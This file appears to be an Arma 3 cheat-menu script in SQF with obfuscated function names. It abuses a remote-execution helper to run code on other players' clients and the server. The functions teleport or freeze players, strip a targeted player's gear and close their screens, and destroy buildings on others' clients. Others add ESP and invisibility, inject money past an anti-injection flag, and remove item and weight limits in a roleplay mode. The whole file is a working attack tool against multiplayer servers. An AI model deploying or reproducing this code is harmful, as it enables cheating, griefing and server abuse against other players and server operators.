CrazyMotherFuckerDurkkkk_SpawnCrate={_l5=getdir vehicle player;_pos=getPos vehicle player;_pos=[(_pos select 0)+1.5*sin(_l5),(_pos select 1)+1.5*cos(_l5),0];_l50=createVehicle["box_NATO_AMMO_F",_pos,[],0,'CAN_COLLIDE'];clearWeaponCargo _l50;clearMagazineCargo _l50;clearItemCargo _l50;clearBackpackCargo _l50;_l51=configFile>>"CfgWeapons";_l52=[];for"_l39"from 0 to(count _l51)-1 do{_l53=_l51 select _l39;if(isClass _l53)then{_l3=configName _l53;_l54=getNumber(_l53>>"type");_l55=getNumber(_l53>>"scope");_l56=getText(_l53>>"picture");if(_l55>=2 && _l54 in[1,2,4,4096]&& _l56!=""&&!(_l3 in _l52)&& _l3!="NVGoggles")then{_l52 set[count _l52,_l3];};};if(_l39 % 10==0)then{hintsilent format["Spawning Weapons %1",count _l52];sleep 0.0001;};};sleep 0.1;_l51=configFile>>"CfgMagazines";_l57=[];for"_l39"from 0 to(count _l51)-1 do{_l53=_l51 select _l39;if(isClass _l53)then{_l3=configName _l53;_l55=getNumber(_l53>>"scope");_l56=getText(_l53>>"picture");if(_l55>=2 && _l56!=""&&!(_l3 in _l57))then{_l57 set[count _l57,_l3];};};if(_l39 % 10==0)then{hintsilent format["Spawning Mags %1",count _l57];sleep 0.0001;};};{_l50 addWeaponCargo[_x,50];}foreach _l52;{_l50 addMagazineCargo[_x,50];}foreach _l57;sleep 0.1;_l51=configFile>>"CfgWeapons";_l58=[];for"_l39"from 0 to(count _l51)-1 do{_l53=_l51 select _l39;if(isClass _l53)then{_l3=configName _l53;_l54=getNumber(_l53>>"type");_l55=getNumber(_l53>>"scope");_l56=getText(_l53>>"picture");if(_l55>=2 && _l54 in[131072,4096]&& _l56!=""&&!(_l3 in _l58)&& _l3!="Binocular")then{_l58 set[count _l58,_l3];};};if(_l39 % 10==0)then{hintsilent format["Spawning Items %1",count _l58];sleep 0.0001;};};{_l50 addItemCargo[_x,50];}foreach _l58;sleep 0.1;_l51=configFile>>"CfgVehicles";_l59=[];for"_l39"from 0 to(count _l51)-1 do{_l53=_l51 select _l39;if(isClass _l53)then{_l3=configName _l53;_l54=getText(_l53>>"vehicleClass");_l55=getNumber(_l53>>"scope");_l56=getText(_l53>>"picture");if(_l55>=2 && _l54=="Backpacks"&& _l56!=""&&!(_l3 in _l59))then{_l59 set[count _l59,_l3];};};if(_l39 % 10==0)then{hintsilent format["Spawning Backpacks %1",count _l59];sleep 0.0001;};};{_l50 addBackPackCargo[_x,5];}foreach _l59;sleep 0.1;hint"Weapon Crate Ready";titleText[" \nCrate Spawned..","PLAIN"];titlefadeout 5;};
CrazyMotherFuckerDurkkkk_DelCrate={{deleteVehicle _x}forEach(allMissionObjects"box_NATO_AMMO_F");hint"All Weapon Boxes Deleted";};
LoudoutIrecommend_PDWP = {[] spawn {_wset = player;removeAllWeapons _wset;removeAllItems _wset;removebackpack _wset;removeAllAssignedItems _wset;_wset addHeadgear "H_Beret_02";_wset addGoggles "G_Sport_Blackred";_wset ForceaddUniform "U_OrestesBody";_wset addVest "V_BandollierB_cbr";_wset addBackpack "B_Carryall_ocamo";_wset addWeapon "NVGoggles";_wset addWeapon "Rangefinder";_wset addMagazine "30Rnd_9x21_Mag";_wset addweapon "hgun_PDW2000_Holo_snds_F";_wset addMagazine "6Rnd_45ACP_Cylinder";_wset addweapon "hgun_Pistol_heavy_02_Yorris_F";_wset addMagazine "NLAW_F";_wset addweapon "launch_NLAW_F";_wset addPrimaryWeaponItem "muzzle_snds_B";_wset addPrimaryWeaponItem "acc_pointer_IR";_wset addWeaponGlobal "ItemCompass";_wset addWeaponGlobal "ItemMap";_wset addWeaponGlobal "Itemgps";_wset addWeaponGlobal "ItemWatch";_wset addWeaponGlobal "itemradio";(unitBackpack _wset) additemCargo["FirstAidKit", 2];(unitBackpack _wset) additemCargo["30Rnd_9x21_Mag", 9];(unitBackpack _wset) additemCargo["6Rnd_45ACP_Cylinder", 9];(unitBackpack _wset) additemCargo["handGrenade", 2];(unitBackpack _wset) additemCargo["NLAW_F", 2];hint "PDW Loadout";};};
LoudoutIrecommend_LRRP = {[] spawn {_wset = player;removeAllWeapons _wset;removeAllItems _wset;removebackpack _wset;removeAllAssignedItems _wset;_wset addGoggles "G_Sport_Blackred";_wset ForceaddUniform "U_O_CombatUniform_oucamo";_wset addVest "V_BandollierB_cbr";_wset addBackpack "B_Carryall_oucamo";_wset addWeapon "NVGoggles";_wset addWeapon "Rangefinder";_wset addMagazine "7Rnd_408_Mag";_wset addweapon "srifle_LRR_LRPS_F";_wset addMagazine "30Rnd_9x21_Mag";_wset addweapon "hgun_P07_F";_wset addMagazine "NLAW_F";_wset addweapon "launch_NLAW_F";_wset addPrimaryWeaponItem "acc_pointer_IR";_wset addHandgunItem "muzzle_snds_L";_wset addWeaponGlobal "ItemCompass";_wset addWeaponGlobal "ItemMap";_wset addWeaponGlobal "Itemgps";_wset addWeaponGlobal "ItemWatch";_wset addWeaponGlobal "itemradio";(unitBackpack _wset) additemCargo["FirstAidKit", 2];(unitBackpack _wset) additemCargo["7Rnd_408_Mag", 9];(unitBackpack _wset) additemCargo["30Rnd_9x21_Mag", 9];(unitBackpack _wset) additemCargo["handGrenade", 2];(unitBackpack _wset) additemCargo["NLAW_F", 2];hint "fuck yeah";};};
LoudoutIrecommend_DMRP = {[] spawn {_wset = player;removeAllWeapons _wset;removeAllItems _wset;removebackpack _wset;removeAllAssignedItems _wset;_wset addHeadgear "H_Beret_02";_wset addGoggles "G_Sport_Blackred";_wset ForceaddUniform "U_O_GhillieSuit";_wset addVest "V_BandollierB_cbr";_wset addBackpack "B_Carryall_ocamo";_wset addWeapon "NVGoggles";_wset addWeapon "Rangefinder";_wset addMagazine "10Rnd_762x51_Mag";_wset addweapon "srifle_DMR_01_DMS_F";_wset addMagazine "30Rnd_9x21_Mag";_wset addweapon "hgun_P07_F";_wset addMagazine "NLAW_F";_wset addweapon "launch_NLAW_F";_wset addPrimaryWeaponItem "acc_pointer_IR";_wset addHandgunItem "muzzle_snds_L";_wset addWeaponGlobal "ItemCompass";_wset addWeaponGlobal "ItemMap";_wset addWeaponGlobal "Itemgps";_wset addWeaponGlobal "ItemWatch";_wset addWeaponGlobal "itemradio";(unitBackpack _wset) additemCargo["FirstAidKit", 2];(unitBackpack _wset) additemCargo["10Rnd_762x51_Mag", 9];(unitBackpack _wset) additemCargo["30Rnd_9x21_Mag", 9];(unitBackpack _wset) additemCargo["handGrenade", 2];(unitBackpack _wset) additemCargo["NLAW_F", 2];hint "DMR Loadout";};};
LoudoutIrecommend_HEAVYP = {[] spawn {_wset = player;removeAllWeapons _wset;removeAllItems _wset;removebackpack _wset;removeAllAssignedItems _wset;_wset addHeadgear "H_Beret_02";_wset addGoggles "G_Sport_Blackred";_wset ForceaddUniform "U_OG_leader";_wset addVest "V_BandollierB_cbr";_wset addBackpack "B_Carryall_ocamo";_wset addWeapon "NVGoggles";_wset addWeapon "Rangefinder";_wset addMagazine "150Rnd_762x51_Box_Tracer";_wset addweapon "LMG_Zafir_pointer_F";_wset addMagazine "30Rnd_9x21_Mag";_wset addweapon "hgun_P07_F";_wset addMagazine "NLAW_F";_wset addweapon "launch_NLAW_F";_wset addPrimaryWeaponItem "optic_LRPS";_wset addPrimaryWeaponItem "acc_pointer_IR";_wset addHandgunItem "muzzle_snds_L";_wset addWeaponGlobal "ItemCompass";_wset addWeaponGlobal "ItemMap";_wset addWeaponGlobal "Itemgps";_wset addWeaponGlobal "ItemWatch";_wset addWeaponGlobal "itemradio";(unitBackpack _wset) additemCargo["FirstAidKit", 2];(unitBackpack _wset) additemCargo["150Rnd_762x51_Box_Tracer", 9];(unitBackpack _wset) additemCargo["30Rnd_9x21_Mag", 9];(unitBackpack _wset) additemCargo["handGrenade", 2];(unitBackpack _wset) additemCargo["NLAW_F", 2];hint "Light Machine Gun Loadout";};};
LoudoutIrecommend_EBRP = {[] spawn {_wset = player;removeAllWeapons _wset;removeAllItems _wset;removebackpack _wset;removeAllAssignedItems _wset;_wset addHeadgear "H_Beret_02";_wset addGoggles "G_Sport_Blackred";_wset ForceaddUniform "U_O_GhillieSuit";_wset addVest "V_BandollierB_cbr";_wset addBackpack "B_Carryall_ocamo";_wset addWeapon "NVGoggles";_wset addWeapon "Rangefinder";_wset addMagazine "20rnd_762x51_mag";_wset addweapon "srifle_ebr_f";_wset addMagazine "30Rnd_9x21_Mag";_wset addweapon "hgun_P07_F";_wset addMagazine "NLAW_F";_wset addweapon "launch_NLAW_F";_wset addPrimaryWeaponItem "optic_sos";_wset addPrimaryWeaponItem "muzzle_snds_B";_wset addPrimaryWeaponItem "acc_pointer_IR";_wset addHandgunItem "muzzle_snds_L";_wset addWeaponGlobal "ItemCompass";_wset addWeaponGlobal "ItemMap";_wset addWeaponGlobal "Itemgps";_wset addWeaponGlobal "ItemWatch";_wset addWeaponGlobal "itemradio";(unitBackpack _wset) additemCargo["FirstAidKit", 2];(unitBackpack _wset) additemCargo["20rnd_762x51_mag", 9];(unitBackpack _wset) additemCargo["30Rnd_9x21_Mag", 9];(unitBackpack _wset) additemCargo["handGrenade", 2];(unitBackpack _wset) additemCargo["NLAW_F", 2];hint "EBR Loadout";};};
LoudoutIrecommend_MXMP = {[] spawn {_wset = player;removeAllWeapons _wset;removeAllItems _wset;removebackpack _wset;removeAllAssignedItems _wset;_wset addHeadgear "H_Beret_02";_wset addGoggles "G_Sport_Blackred";_wset ForceaddUniform "U_IG_Guerilla3_1";_wset addVest "V_BandollierB_cbr";_wset addBackpack "B_Carryall_ocamo";_wset addWeapon "NVGoggles";_wset addWeapon "Rangefinder";_wset addMagazine "30Rnd_65x39_caseless_mag_Tracer";_wset addweapon "arifle_MXM_Black_F";_wset addMagazine "11Rnd_45ACP_Mag";_wset addweapon "hgun_Pistol_heavy_01_MRD_F";_wset addMagazine "NLAW_F";_wset addweapon "launch_NLAW_F";_wset addPrimaryWeaponItem "optic_MRCO";_wset addPrimaryWeaponItem "muzzle_snds_M";_wset addPrimaryWeaponItem "acc_pointer_IR";_wset addWeaponGlobal "ItemCompass";_wset addWeaponGlobal "ItemMap";_wset addWeaponGlobal "Itemgps";_wset addWeaponGlobal "ItemWatch";_wset addWeaponGlobal "itemradio";(unitBackpack _wset) additemCargo["FirstAidKit", 2];(unitBackpack _wset) additemCargo["30Rnd_65x39_caseless_mag_Tracer", 9];(unitBackpack _wset) additemCargo["11Rnd_45ACP_Mag", 9];(unitBackpack _wset) additemCargo["handGrenade", 2];(unitBackpack _wset) additemCargo["NLAW_F", 2];hint "MXM Loadout";};};
LoudoutIrecommend_TRGP = {[] spawn {_wset = player;removeAllWeapons _wset;removeAllItems _wset;removebackpack _wset;removeAllAssignedItems _wset;_wset addHeadgear "H_Beret_02";_wset addGoggles "G_Sport_Blackred";_wset ForceaddUniform "U_IG_Guerilla3_1";_wset addVest "V_BandollierB_cbr";_wset addBackpack "B_Carryall_ocamo";_wset addWeapon "NVGoggles";_wset addWeapon "Rangefinder";_wset addMagazine "30Rnd_556x45_Stanag";_wset addweapon "arifle_TRG21_ACO_pointer_F";_wset addMagazine "30Rnd_9x21_Mag";_wset addweapon "hgun_P07_F";_wset addMagazine "NLAW_F";_wset addweapon "launch_NLAW_F";_wset addPrimaryWeaponItem "optic_Aco";_wset addPrimaryWeaponItem "muzzle_snds_M";_wset addHandgunItem "muzzle_snds_L";_wset addWeaponGlobal "ItemCompass";_wset addWeaponGlobal "ItemMap";_wset addWeaponGlobal "Itemgps";_wset addWeaponGlobal "ItemWatch";_wset addWeaponGlobal "itemradio";(unitBackpack _wset) additemCargo["FirstAidKit", 2];(unitBackpack _wset) additemCargo["30Rnd_556x45_Stanag", 9];(unitBackpack _wset) additemCargo["30Rnd_9x21_Mag", 9];(unitBackpack _wset) additemCargo["handGrenade", 2];(unitBackpack _wset) additemCargo["NLAW_F", 2];hint "TAR Loadout";};};
LoudoutIrecommend_UNDERWATERP = {[] spawn {_wset = player;removeAllWeapons _wset;removeAllItems _wset;removebackpack _wset;removeAllAssignedItems _wset;_wset addHeadgear "H_Beret_02";_wset addGoggles "G_Diving";_wset addUniform "U_I_Wetsuit";_wset addVest "V_RebreatherB";_wset addBackpack "B_AssaultPack_blk_DiverExp";_wset addWeapon "Rangefinder";_wset addMagazine "30Rnd_556x45_Stanag_Tracer_Red";_wset addweapon "arifle_SDAR_F";_wset addMagazine "30Rnd_9x21_Mag";_wset addweapon "hgun_P07_F";_wset addPrimaryWeaponItem "muzzle_snds_B";_wset addPrimaryWeaponItem "acc_pointer_IR";_wset addHandgunItem "muzzle_snds_L";_wset addWeaponGlobal "ItemCompass";_wset addWeaponGlobal "ItemMap";_wset addWeaponGlobal "Itemgps";_wset addWeaponGlobal "ItemWatch";_wset addWeaponGlobal "itemradio";(unitBackpack _wset) additemCargo["FirstAidKit", 2];(unitBackpack _wset) additemCargo["30Rnd_556x45_Stanag_Tracer_Red", 9];(unitBackpack _wset) additemCargo["30Rnd_9x21_Mag", 9];(unitBackpack _wset) additemCargo["handGrenade", 2];(unitBackpack _wset) additemCargo["NLAW_F", 2];hint "Underwater Loadout";};};
LoudoutIrecommend_ALTISP = {_wset = player;removeallweapons _wset;removeVest _wset;_wset addVest "V_Rangemaster_belt";removebackpack _wset;removeuniform _wset;_wset ForceaddUniform "U_Rangemaster";_wset addWeapon "hgun_P07_snds_F";player addWeapon "Binocular";_magazines = getArray(configFile >> "CfgWeapons" >> "hgun_P07_snds_F" >> "magazines");{player addmagazine _x;player addmagazine _x;player addmagazine _x;player addmagazine _x;}foreach _magazines;reload player;};
SpawwwnnnIrecommmmEnDndNd_JetBus = {hint "Quad-Train V1";_dirme = getDir player;_pos = player modelToWorld[0, 20, 0.2];Stolen_jetslut = "B_Plane_CAS_01_F"createVehicle _pos;Stolen_jetslut allowDamage false;Stolen_jetslut setDir _dirme;[Stolen_jetslut] call DurkSintax_Pro_RE;_N3rdDrDrDrD = "O_Quadbike_01_F"createVehicle _pos;_N3rdDrDrDrD attachTo[Stolen_jetslut, [2.7, 4, 0]];_N3rdDrDrDrD allowDamage false;_N3rdDrDrDrD = "O_Quadbike_01_F"createVehicle _pos;_N3rdDrDrDrD attachTo[Stolen_jetslut, [-2.7, 4, 0]];_N3rdDrDrDrD allowDamage false;_N3rdDrDrDrD = "O_Quadbike_01_F"createVehicle _pos;_N3rdDrDrDrD attachTo[Stolen_jetslut, [2.7, 8, 0]];_N3rdDrDrDrD allowDamage false;_N3rdDrDrDrD = "O_Quadbike_01_F"createVehicle _pos;_N3rdDrDrDrD attachTo[Stolen_jetslut, [-2.7, 8, 0]];_N3rdDrDrDrD allowDamage false;_N3rdDrDrDrD = "O_Quadbike_01_F"createVehicle _pos;_N3rdDrDrDrD attachTo[Stolen_jetslut, [2.7, 12, 0]];_N3rdDrDrDrD allowDamage false;_N3rdDrDrDrD = "O_Quadbike_01_F"createVehicle _pos;_N3rdDrDrDrD attachTo[Stolen_jetslut, [-2.7, 12, 0]];_N3rdDrDrDrD allowDamage false;[_N3rdDrDrDrD] call DurkSintax_Pro_RE;};
IrEeEeEeComMMMenNEnd_IrEeEeEeComMMMenNEnd_aE5Pj = {if (isNil "IrEeEeEeComMMMenNEnd_aE5Pj") then {IrEeEeEeComMMMenNEnd_aE5Pj = 0;};if (IrEeEeEeComMMMenNEnd_aE5Pj == 0) then {IrEeEeEeComMMMenNEnd_aE5Pj = 1;hint "E5P Enabled";_dist = 1000;_IrEeEeEeComMMMenNEnd_aE5Pjfnc = format["if !(isServer) then{[] spawn{IrEeEeEeComMMMenNEnd_aE5Pjfnc ={disableSerialization;if (isNil ""BIS_fnc_3dCredits_n"") then {BIS_fnc_3dCredits_n = 2733;}; BIS_fnc_3dCredits_n cutRsc [""rscDynamicText"", ""PLAIN""];BIS_fnc_3dCredits_n = BIS_fnc_3dCredits_n + 1;_ctrl = ((uiNamespace getvariable ""BIS_dynamicText"") displayctrl 9999);_ctrl ctrlShow true; _ctrl ctrlEnable true; _ctrl ctrlSetFade 0;_unit = _this select 0;while {(alive _unit) && ((player distance _unit) < %1)} do{if !(aIrEeEeEeComMMMenNEnd_ptagsSS) exitWith {};_pos = [(getPosATL _unit) select 0, (getPosATL _unit) select 1, ((getPosATL _unit) select 2) + 2];_pos2D = worldToScreen _pos;if (count _pos2D > 0) then{_ctrl ctrlSetPosition [(_pos2D select 0) - (safezoneW / 2), (_pos2D select 1), safezoneW, safezoneH];_text = parseText (""<t size='0.35' color='#FF1AAA'>""+(name _unit)+""(""+(str(round (player distance _unit)))+""m)</t>"");_ctrl ctrlSetStructuredText _text;_ctrl ctrlCommit 0;};};_ctrl ctrlShow false;_ctrl ctrlEnable false;};};};", _dist];[_IrEeEeEeComMMMenNEnd_aE5Pjfnc] call DurkSintax_Pro_RE;sleep 3;_E5Prun = format["if !(isServer) then {[] spawn{_a = [];aIrEeEeEeComMMMenNEnd_ptagsSS = true;while {aIrEeEeEeComMMMenNEnd_ptagsSS} do{_count = count ((position player) nearEntities [[""CAManBase""], %1]);{if (((_x in _a) && !(alive _x)) or ((_x in _a) && ((player distance _x) > %1))) then {_a = _a - [_x];};if ((_x != player) && (getPlayerUID _x != """") && (name _x != """") && !(_x in _a) && ((player distance _x) < %1)) then{_a = _a + [_x];[_x] spawn IrEeEeEeComMMMenNEnd_aE5Pjfnc;sleep 1;};} forEach playableUnits;waitUntil {_count != count ((position player) nearEntities [[""CAManBase""], %1])};};};};", _dist];[_E5Prun] call DurkSintax_Pro_RE;} else {IrEeEeEeComMMMenNEnd_aE5Pj = 0;hint "E5P Disabled";_IrEeEeEeComMMMenNEnd_aE5Pj = "aIrEeEeEeComMMMenNEnd_ptagsSS = false;";[_IrEeEeEeComMMMenNEnd_aE5Pj] call DurkSintax_Pro_RE;};};
IreCoMMmeNEnNDNdnNDEASD_JesuseMode_a = {_l34 = call IreCoMMmeNEnNDNdnNDEASD_List;hint "Globaler GodMode aktiviert";_l109 = format["if!(getPlayerUID player in %1)then{player removeAllEventHandlers'handleDamage';player addEventHandler['handleDamage',{false}];player allowDamage false;};", _l34];while {Jesusall == 1}do {[_l109] call DurkSintax_Pro_RE;sleep 30;};};
IreCoMMmeNEnNDNdnNDEASD_JesuseModeOff_a = {_l34 = call IreCoMMmeNEnNDNdnNDEASD_List;hint "Globaler GodMode deaktiviert";_l109 = format["if!(getPlayerUID player in %1)then{player addEventHandler['handleDamage',{true}];player removeAllEventHandlers'handleDamage';player allowDamage true;};", _l34];[_l109] call DurkSintax_Pro_RE;};
IreCoMMmeNEnNDNdnNDEASD_TimeD = {IreCoMMmeNEnNDNdnNDEASD_toRE_cus = "if(isServer) then {while {true} do {setDate [2012, 9, 1, 13, 0];};};";[IreCoMMmeNEnNDNdnNDEASD_toRE_cus] call DurkSintax_Pro_RE;hint "Time: Day.....";};
IreCoMMmeNEnNDNdnNDEASD_TimeN = {IreCoMMmeNEnNDNdnNDEASD_toRE_cuss = "if(isServer) then {while {true} do {setDate [2012, 9, 1, 23, 0];};};";[IreCoMMmeNEnNDNdnNDEASD_toRE_cuss] call DurkSintax_Pro_RE;hint "Time: Night....";};
IreCoMMmeNEnNDNdnNDEASD_TPAll_a = {_pos = getPosATL player;_l107 = format["if(isServer)then{{(vehicle _x)setPos[(%1 select 0)+random 5,(%1 select 1)+random 5,%1 select 2];}forEach playableUnits;};", _pos];[_l107] call DurkSintax_Pro_RE;};
Ddasdaw_AL_NoIllegal = {life_illegal_items = [];["TaskSucceeded", ["", "Du hast nun keine Illegale Items!"]] call bis_fnc_showNotification;};
DafuqDukleinerfischkopf_AL_NoWeight = {if (DafuqDukleinerfischkopf_AL_NoWeight_toggle) then {["TaskSucceeded", ["", "Du hast nun kein Miximal gewicht!!"]] call bis_fnc_showNotification;while {DafuqDukleinerfischkopf_AL_NoWeight_toggle}do {life_maxWeight = 1000000000000000000;life_maxWeightT = 1000000000000000000;life_carryWeight = 0;};} else {["TaskSucceeded", ["", "Maximal gewicht zurückgesetzt!!"]] call bis_fnc_showNotification;life_maxWeight = 24;life_maxWeightT = 24;life_carryWeight = 0;};};
INukeReaper_Invisable = {INukeReaper_PLAYERLOL = vehicle player;publicvariable "INukeReaper_PLAYERLOL";if (isNil "INukeReaper_MeSideways") then {INukeReaper_MeSideways = 0;};if (INukeReaper_MeSideways == 0) then {INukeReaper_MeSideways = 1;hint "Invisibility ON";} else {INukeReaper_MeSideways = 0;hint "Invisibility OFF";};if (INukeReaper_MeSideways == 1) then {_l227 = "INukeReaper_PLAYERLOL hideObject true;";[_l227] call DurkSintax_Pro_RE;} else {_l227 = "INukeReaper_PLAYERLOL hideObject false;";[_l227] call DurkSintax_Pro_RE;};};
ILuisReaper_heal_t = {_l23 = name cursorTarget;if (!(isNil "Arma3_GUI_R") or!(isNil "arma3_originalPlayer")) then {_l100 = format["if(name player=='%1')then{r_player_handler=false;r_player_handler1=false;r_player_dead=false;r_player_unconscious=false;r_player_infected=false;r_player_injured=false;r_player_inpain=false;r_player_loaded=false;r_player_cardiac=false;r_fracture_legs=false;r_fracture_arms=false;r_player_blood=12000;r_player_lowblood=false;r_player_timeout=0;r_handlerCount=0;dayz_hunger=0;dayz_thirst=0;dayz_temperatur=42;player setDamage 0;vehicle player setDamage 0;};", _l23];[_l100] call DurkSintax_Pro_RE;} else {_l100 = format["if(name player=='%1')then{player setDamage 0;vehicle player setDamage 0;};", _l23];[_l100] call DurkSintax_Pro_RE;};hint format["Healing %1", _l23];cutText[format["Healing %1", _l23], "PLAIN DOWN"];};
MoIOoOonster_FuckUp_t = {_l23 = name cursorTarget;_l101 = format["if(name player=='%1')then{startLoadingScreen['You Got Fucked Up'];removeAllWeapons player;removeuniform player;removevest player;removeAllItems player;removeBackpack player;0 fadeSound 0;_l42=player;for'_l39'from 0 to 100 do{(findDisplay _l39)closeDisplay 0;};};", _l23];[_l101] call DurkSintax_Pro_RE;hint format["%1 Fucked UP", _l23];cutText[format["%1 Fucked UP", _l23], "PLAIN DOWN"];};
WasdFasd_Target_Loadout = {_l23 = name cursorTarget;_l24 = format["if(name player=='%1')then{_wset = player;removeAllWeapons _wset;removeAllItems _wset;removebackpack _wset;removeAllAssignedItems _wset;_wset addHeadgear 'H_Beret_02';_wset addGoggles 'G_Sport_Blackred';_wset ForceaddUniform 'U_O_GhillieSuit';_wset addVest 'V_BandollierB_cbr';_wset addBackpack 'B_Carryall_ocamo';_wset addWeapon 'NVGoggles';_wset addWeapon 'Rangefinder';_wset addMagazine '10Rnd_762x51_Mag';_wset addweapon 'srifle_DMR_01_DMS_F';_wset addMagazine '30Rnd_9x21_Mag';_wset addweapon 'hgun_P07_F';_wset addPrimaryWeaponItem 'acc_pointer_IR';_wset addHandgunItem 'muzzle_snds_L';_wset addWeaponGlobal 'ItemCompass';_wset addWeaponGlobal 'ItemMap';_wset addWeaponGlobal 'Itemgps';_wset addWeaponGlobal 'ItemWatch';_wset addWeaponGlobal 'itemradio';(unitBackpack _wset) additemCargo ['FirstAidKit',2];(unitBackpack _wset) additemCargo ['10Rnd_762x51_Mag', 9];(unitBackpack _wset) additemCargo ['30Rnd_9x21_Mag', 9];(unitBackpack _wset) additemCargo ['handGrenade', 2];};", _l23];[_l24] call DurkSintax_Pro_RE;hint format["executed on %1", _l23];cutText[format["executed on %1", _l23], "PLAIN DOWN"];};
Spyglassistschlecht_Cash_1mill_t = {_l23 = name cursorTarget;hint format["Money Given to %1", _l23];_l97 = format["if(!isNil 'life_no_injection') then {life_no_injection = true;};life_cash = life_cash + 500000;if(!isNil 'life_no_injection') then {life_no_injection = false;};", _l23];[_l97] call DurkSintax_Pro_RE;};
Spyglassistschlecht_Cash_1mill = {if(!isNil "life_no_injection") then {life_no_injection = true;};life_cash = life_cash + 1000000;if(!isNil "life_no_injection") then {life_no_injection = false;};};
Spyglassistschlecht_Cash_5mill = {if(!isNil "life_no_injection") then {life_no_injection = true;};life_cash = life_cash + 5000000;if(!isNil "life_no_injection") then {life_no_injection = false;};hint "5 Milli";};
Irecommend_MegaDesync={_l34=nearestObjects[position player,["BUILDING"],999999];_l103='_l35=playableUnits;_l38=count _l35;_l39=0;for"_l39"from 0 to _l38 do{_l73=_l35 select _l39;if(player!=_l73)then{{_x setDamage 1;}forEach _l34;};};';[_l103]call DurkSintax_Pro_RE;};
IrEcOCMmeNEnd_God_MODE={if(!(isNil"Dayz_GUI_R")or!(isNil"dayz_originalPlayer"))then{if(isNil"IrEcOCMmeNEnd_God_ModeLOL")then{IrEcOCMmeNEnd_God_ModeLOL=true;};if(IrEcOCMmeNEnd_God_ModeLOL)then{IrEcOCMmeNEnd_God_ModeLOL=false;hint"GOD ON";cutText[format["GOD ON"],"PLAIN"];_l32=player;fnc_usec_damageHandler=nil;fnc_usec_unconscious=nil;_l32 removeAllEventHandlers"handleDamage";_l33=false;_l32 addEventHandler["handleDamage",{}];_l32 allowDamage false;}else{IrEcOCMmeNEnd_God_ModeLOL=true;hint"GOD OFF";cutText[format["GOD OFF"],"PLAIN"];fnc_usec_damageHandler=compile preprocessFileLineNumbers"\z\addons\dayz_code\compile\fn_damageHandler.sqf";fnc_usec_unconscious=compile preprocessFileLineNumbers"\z\addons\dayz_code\compile\fn_unconscious.sqf";player removeAllEventHandlers"handleDamage";player addEventHandler["handleDamage",{true}];player allowDamage true;};}else{if(isNil"IrEcOCMmeNEnd_G0d_Mode")then{IrEcOCMmeNEnd_G0d_Mode=0;};if(IrEcOCMmeNEnd_G0d_Mode==0)then{IrEcOCMmeNEnd_G0d_Mode=1;hint"GOD ON";cutText[format["GOD ON"],"PLAIN"];fnc_usec_damageHandler={};fnc_usec_unconscious={};player removeAllEventHandlers"handleDamage";player addEventHandler["handleDamage",{false}];player allowDamage false;}else{IrEcOCMmeNEnd_G0d_Mode=0;hint"GOD OFF";cutText[format["GOD OFF"],"PLAIN"];player addEventHandler["handleDamage",{true}];player removeAllEventHandlers"handleDamage";player allowDamage true;};};};
IrEcOCMmeNEnd_so_fly={_pos=getPos Player;_pos=[_pos select 0,_pos select 1,-100];_l43=(vehicle player);if(true)then{_l43 setPosASL _pos;};_pos=[_this select 0,_this select 1,_this select 2];_pos=[_this select 0,_this select 1,(getTerrainHeightASL _pos)-0.5];if(true)then{_l43 setPosASL _pos;};onMapSingleClick"";openMap[false,false];vehicle player setVelocity [0,0,2];};